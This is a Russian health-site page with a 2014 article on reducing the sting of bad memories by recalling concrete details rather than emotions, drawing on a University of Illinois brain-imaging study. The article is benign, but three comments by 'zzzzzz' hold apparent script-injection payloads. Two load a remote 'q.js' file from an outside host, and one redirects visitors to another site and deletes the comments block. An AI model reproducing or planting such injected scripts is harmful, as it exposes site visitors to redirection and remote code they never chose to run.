Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Грустно? Вспомнили что-то...  >>  Грустно? Вспомнили что-то плохое? Вот как бороться с плохим настроением!
 
Обратная связь
 

Грустно? Вспомнили что-то плохое? Вот как бороться с плохим настроением!

Размер шрифта
12 ноября 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Какое из ваших воспоминаний самое плохое? Как оно заставляет вас себя чувствовать? Если верить психологам, прокручивание в голове эмоций, которые вы испытали во время неприятных событий в прошлом, может привести к эмоциональному расстройству, особенно если вы не в состоянии перестать думать об этих событиях.

Чтобы избежать вредного влияния негативных воспоминаний, нужно лишь больше заострять внимание на конкретных деталях, вместо того, чтобы концентрироваться на эмоциях. Об этом говорит недавнее исследование, проведенное в Университете Иллинойса.

Профессор психологии Флорин Долкос, глава группы ученых, исследует различные поведенческие и неврологические механизмы избавления от эмоциональных переживаний, связанных с воспоминаниями. Он обнаружил, что концентрация внимания на отдельных элементах воспоминания значительно снижает их эмоциональное воздействие. «Иногда мы фокусируемся на том, как грустно, неловко или больно нам было во время какого-то события, и от этого чувствуем себя все хуже и хуже. Это то, что происходит во время клинической депрессии – выделение негативных образов в памяти», – объясняет Долкос. «Но если подумать о конкретных деталях, например о друге, который был тогда с вами, о погоде в тот день или еще о чем-то, не связанном с вашими переживаниями, можно избавиться от нежелательных эмоций, связанных с воспоминаниями». 

Ученые считают, что эта простая стратегия – многообещающая альтернатива другим способам контроля за эмоциями – подавлению и переоценке. «Подавление эмоций – это словно помещение их в отдельную коробку, подальше от себя. Такой метод эффективен в течение короткого времени, а при длительном применении он лишь усиливает волнение и депрессию», – рассказывает Санда Долкос, соавтор работы и сотрудник кафедры психологии. «Другая эффективная методика регуляции эмоций – переоценка. Задача человека в этом случае – посмотреть на ситуацию с другой, более позитивной стороны. Но эта стратегия требует больших затрат энергии и сил. В то же время, методика концентрирования внимания на деталях довольно проста в исполнении, а также дает вам большой простор для фантазии». Ученые отмечают, что эта методика может оказывать не только кратковременный эффект, но и значительно снижать негативное влияние воспоминаний при длительном использовании. 

Участников эксперимента просили поделиться своими самыми хорошими и самыми плохими воспоминаниями, такими как рождение ребенка, победа в состязании или провал на экзамене. Через несколько недель всем участникам было проведено магнитно-резонансное исследование головного мозга, во время которого ученые использовали специальные сигналы, чтобы вызвать воспоминания. Каждый раз участников просили сконцентрироваться или на эмоциональной стороне события или, наоборот, на отдельных деталях. К примеру, если речь шла о похоронах друга, то человек фокусировался либо на своем горе, либо, например, на том, как он был одет или что ел в тот день. «Мы хотели понять, что происходит в головном мозге, когда люди используют эту методику контроля эмоций, чтобы справиться с негативными воспоминаниями или же усилить положительное влияние позитивных событий из прошлого», – рассказывает Екатерина Денькова, соавтор работы. «Мы обнаружили, что области мозга, отвечающие за эмоции, работали совместно с областями, ответственными за контроль, таким образом снижая влияние воспоминаний на эмоциональное состояние человека».

Ученые надеются, что в будущем смогут поработать с депрессивными и тревожными пациентами и определить, может ли эта новая методика улучшить их состояние. А пока каждый, кто хочет избавиться от гнетущих воспоминаний, может испытать этот простой и эффективный метод на себе. Хорошего настроения!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:30

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:29

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:25

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

4 - lazarewacarolina

03 августа 2015 в 11:16

Цитировать   |   Пожаловаться

Очень хорошая методика, сама на себе испытала, что если не заострять внимание именно на плохих ощущениях, а вспоминать именно материальные детали, то ситуация переносится легче.

Статьи

       
Ученые говорят, что свекровь может испортить вам жизнь после родов! Как жить?   Посадите родителей в интернет! Он борется с депрессией!   Хотите испортить кому-то настроение – заставьте посмотреть на солнце!   Все что надо знать о бронхите  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Плохое настроение – признак рака легких
Грусть или смертельная болезнь
Еда и лекарства: когда их нельзя смешивать

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.